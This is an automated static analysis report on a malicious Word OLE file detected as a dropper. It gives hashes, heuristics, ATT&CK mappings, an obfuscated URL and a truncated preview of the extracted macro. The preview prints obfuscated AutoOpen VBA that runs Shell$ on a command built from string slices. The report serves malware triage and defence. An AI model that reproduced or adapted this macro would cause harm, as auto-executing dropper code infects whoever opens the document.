Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71b723eed5f4f076…

MALICIOUS

Office (OLE)

139.0 KB Created: 2017-11-21 11:32:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 1d39850ca60c50e640ee754d1a135c8d SHA-1: d96476c5824fac30289232dc26fabbfe13971de7 SHA-256: 71b723eed5f4f076d5f9374d5e28cda2250b82c37ccd9e9b4f6bcb00973c3dd3
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains legacy WordBasic macros, specifically an AutoOpen macro that utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary malicious payload. The presence of a suspicious, malformed URL further supports this conclusion. The ClamAV detection 'Doc.Dropper.Agent-6379898-0' also points to a dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6379898-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6379898-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wwwLdT+LdT.VEY+VEYyouVEY+VEYLdT+LdTrVEY+VLdT+LdTEYflynessVEY+VEY.VELdT+ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 152328 bytes
SHA-256: 298f16e8b1193761a606782bfc5003946007a28a274eda75f134389aaf74cf65
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 88 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HKbHadQwZ"
Sub AutoOpen()
LANKMSDAs = Array("qAruvjAw", "zIowuZOw", "izBkoWSl", "SukwXprD", "qRvibUqq")
lqNDjjQbw = Array("LiUBQETh", "FcBvBaHR", "kHcdjWJH", "KwwJOCid", "JzLHWCaN")
bAWrpvjPF = Array("mwcozSpY", "NqRFKTCu", "YlCOzuih", "PCjzSRPP", "iDcEGoMh")
Shell$ TUuWrYFBO, 0
WjJLJHQjU = Array("zRJhBFsP", "vYulpFvb", "BXHrwnjZ", "UsQlWXHl", "zfUAFhhz")
koLQRvjiN = Array("kHkJpWKi", "kMJpHtXR", "JmKlvVUp", "JHJcTHZL", "mXmQWcJJ")
KSVUYIcvo = Array("wHIWtSPn", "vziMhPcn", "zDjHGuhd", "BadzzRBi", "OoUzQptE")
End Sub
Function TUuWrYFBO()
vZEuNst = "M68s5t9ihdMMYCjXoKUZCncfSVONXmvEcmJbADjDfjpoIjsTRavSMqajikJbiqabZfGmsEXkbQuSzoWlcuvzrdslLZtPuIVoJOPdaGaNDKrvvImuNYwnvdjwmVaTKHqSvGIiZtLWUhthlwpDnwBWKhtjVbKW90UDizdq"
kizJo = Array("IovDYoqh", "RdipbKcK", "ljkbLXYG", "wMjkjLfb", "uXLErbOE")
ThwTB = Mid(vZEuNst, 13, 140)
VvOTYN = Array("zPWdIIGU", "pLZizvmq", "WaCTsmim", "shzjwjMM", "wOPbKufi")
KqHlYWi = "GwwOZcOKaOrv7uhWiSqEfHCwTYApzDVUMbTNjCKqfXfMFUINNcDGCGrMYI"
oZOvLmiXEDI = Array("lEwajPoR", "iwiujzwu", "ElqpwmVh", "tiQsUhfn", "ZbQYjNiV")
HVrfjzXTLq = Mid(KqHlYWi, 17, 40)
jvhWC = Array("bswbVERq", "EZoDWDwl", "NKVCchnN", "lfGiUXfK", "mdjPGalt")
rkwQv = "EsOzADsGiAoNS7w8s"
Mqkao = Array("rrcQjsKh", "wCRwwwsj", "XHAEvojt", "KItJWzNZ", "RsDYqpWl")
jJIctPAslAk = Mid(rkwQv, 8, 6)
mfzKUalwV = Array("DcNfXJDd", "fSqShZWv", "ruCuPTFF", "iSOPzmHh", "YXCWhRdJ")
PWizahwRs = "pMTw5fIONFULtJCLbYmjruiRNWVIGpiivlYnOIjIiYB8G"
wjAJuEiDVYZ = Array("jlbtIkzo", "bouFjvSv", "nUfiwFRj", "WmwiuGlP", "TDtvClBo")
alQRvBQ = Mid(PWizahwRs, 11, 32)
ZGjiUYBYFr = Array("YSiEAnIt", "iAMIkwmH", "VSFdjdfK", "ZRpCbwiZ", "KFBjWGwB")
zIafil = "WYB3ffFmh06q38pwodpcDbwOCYRkCtkiuREaZsccVVCUJzqQobwNNMiqDXXbhXTRwbQqMwJvBMHi0i"
KRMvapPqX = Array("piclwmmm", "pOqYuBLc", "WcbVBGDt", "QlmpDwZB", "wQjDnbSa")
sZRBcilJzS = Mid(zIafil, 17, 60)
zZWzrnECM = Array("tjsoNjoD", "APbGOjBA", "GGjZmQNP", "NriiAGzp", "TZcDbFHT")
SnwWP = "9Aw3IQ9YzGIJXNfquDANwnwDuZcQQkZowJGoAaMrQiGfrdDELlAzLREFORAKhBZvNdZLHrpUrJwShQLQVYFfjbdfEAZjaCKOFKSNDrzUvjGBUmXzFjoIvuLlAtHGRGuoziMXwzMdbljDVbLScbdrNBTKwjNKkqCplRBmZAzHWKhJLIQZiRcXwdd1ViMUQBFimncZ"
YAdFMUn = Array("SNfRjloB", "ZIrLVDmY", "UVtimsqk", "dLzZnwkh", "ahIoliWZ")
WjvFzNZkim = Mid(SnwWP, 14, 164)
watiPPPTzzh = Array("qUbDQbWM", "wAYEFIaH", "NBvaBRAF", "KmodVNWN", "FjUiWfaO")
bpDrSPCzcJ = "1jfibbbEjijvVCz8IqGAZ0A2QKdmLsCTUvdABlJaKzBCzLGXVYSZuhspTBzsprRfWkpEtUiiAKJWzpqMnwcnZdZmCnhzoQkTiWjPVCiAtoYjYVqdLkEtOdFtKDBFnfqjZqocHwU9wdzT"
jpWfdi = Array("OHjNjvrA", "jzcNpDtQ", "pjiNhdNd", "wYLZtwwC", "jAzRTtPO")
KnrXzhbrXnV = Mid(bpDrSPCzcJ, 29, 104)
tKzFIr = Array("Twirljvd", "FiRruwni", "YaoLZCGv", "JYBSQblt", "fVEpkWro")
uLiQWutrjKj = "5JPcR2t1TcpIiYZwYJamELkmvjUcFjfajzUdZAkstMjXdFzHzlzjAvviohkGFhOCzPciDwZYYisscMIpmMfThwZlDqorPimLzjZOdOEBMaHSCDCbZuTtCvVwqriMHhJuvjuvmuMYHdHGqR44sRo01DuIRbVNk"
RMCqwI = Array("LZvsEkSM", "pTmnYFdF", "LzPvPtIT", "TWmkTdts", "VTNVUivF")
GjnziCcWz = Mid(uLiQWutrjKj, 10, 132)
pcQGlLqGNJM = Array("UizFzzOF", "tNXNdHiN", "tEVZuPXz", "qDhUwZtB", "bsnBUBiB")
MRSojT = "ohjmmillwqZm8izNNvzDjdhJiOfwcIAYIbqqzPncXzORFkGimpzufTviYKazhjbzChikoGOzIXjjOPDwHzJmLFtpjISopnvqYQOYBVujbOmBLw59Z1BGz"
DZRPpMBfjj = Array("ojXvErap", "CJSwboZV", "lOoiAdGq", "sRwvXZoV", "twEEAiCF")
iMicdU = Mid(MRSojT, 14, 92)
SpAqjAf = Array("tQVlnVFi", "hvEsGMHC", "cSDsoXiG", "zIVcbrDm", "uKpiNGYE")
XTHQP = "VMElTmpowOVWnZwh3MJj9R8Qq1wFbI1pBpTiRvzJiTiYOmFWCdZXtCkWXJvTprtzWALvm"
LzLaiQwiCpz = Array("tDhruBXz", "WsIFqoiW", "VtEiDSCM", "klDOiKjw", "wSjzCfWw")
jLtFFSJrz = Mid(XTHQP, 35, 32)
ASIqYcL = Array("GrJDcpDz", "vsaTfPME", "NzzcDjWQ", "zumkziIp", "PRjBUOAi")
nEiUtWQ = "MOM3QGC36RzPmMVmGASkWdCpzVOQflOnXitwKCfKqjZVFUTzZUttBOoQZlwVKTLtGvjAcZbDVHuqEhjiBPqLrVmJpdXZEJAWUjPKkTWAspYuTwIGkm5FcGq1ATo7cbB"
XiNiAsqdn
... (truncated)

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